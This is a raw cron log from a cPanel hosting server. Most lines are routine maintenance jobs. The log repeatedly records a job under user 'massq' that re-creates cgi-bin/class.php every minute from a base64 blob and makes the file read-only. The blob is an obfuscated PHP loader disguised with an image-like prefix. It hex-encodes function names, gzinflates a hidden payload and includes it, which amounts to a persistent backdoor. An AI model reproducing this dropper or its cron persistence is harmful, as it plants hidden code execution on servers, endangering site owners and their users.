Sep 11 19:44:01 server CROND[25422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:44:01 server CROND[25423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:44:01 server CROND[25424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:45:02 server CROND[25813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:45:02 server CROND[25815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:45:02 server CROND[25818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:45:02 server CROND[25817]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 19:45:02 server CROND[25819]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 19:45:02 server CROND[25823]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:45:02 server CROND[25816]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:46:01 server CROND[26643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:46:01 server CROND[26644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:46:01 server CROND[26645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:47:01 server CROND[27034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:47:01 server CROND[27033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:47:01 server CROND[27035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:48:01 server CROND[27411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:48:01 server CROND[27412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:48:01 server CROND[27413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:49:01 server CROND[27876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:49:01 server CROND[27877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:49:01 server CROND[27878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:50:01 server CROND[28257]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 19:50:01 server CROND[28258]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:50:01 server CROND[28261]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 19:50:01 server CROND[28265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:50:01 server CROND[28267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:50:01 server CROND[28268]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 19:50:01 server CROND[28264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:50:01 server CROND[28263]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 19:50:01 server CROND[28266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:51:01 server CROND[29095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:51:01 server CROND[29096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:51:01 server CROND[29098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:52:01 server CROND[29474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:52:01 server CROND[29476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:52:01 server CROND[29475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:53:01 server CROND[29838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:53:01 server CROND[29839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:53:01 server CROND[29841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:54:02 server CROND[30315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:54:02 server CROND[30317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:54:02 server CROND[30316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:55:01 server CROND[30694]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 19:55:01 server CROND[30698]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 19:55:01 server CROND[30699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:55:01 server CROND[30702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:55:01 server CROND[30697]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:55:01 server CROND[30701]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:55:01 server CROND[30696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
